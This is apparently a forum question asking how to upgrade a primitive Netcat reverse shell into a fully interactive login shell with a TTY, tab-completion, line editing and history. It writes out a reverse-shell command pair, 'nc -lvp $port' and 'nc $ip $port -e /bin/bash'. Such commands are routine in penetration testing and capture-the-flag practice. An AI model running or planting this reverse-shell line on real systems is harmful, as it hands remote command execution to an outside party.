How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing?
Suppose I start a remote (reverse) shell using Netcat as follows:
nc -lvp $port
nc $ip $port -e '/bin/bash'
Now, what I get is a shell without TTY, tab-completion, line-editing, or history. That is, the left, up, right, and down keyboard keys results in ^[[D,^[[A,^[[C,^[[B, resp, and pressing ^C causes the shell to terminate:
$ tty
not a tty
Now, it's fairly simple to start a PTY for the shell, so that commands like su may run. However, the shell still lacks essential features (see above) that one expects from a normal login shell.
If possible, how can the Netcat initiated shell be upgraded to something that resembles a normal login shell? Please, explain the steps.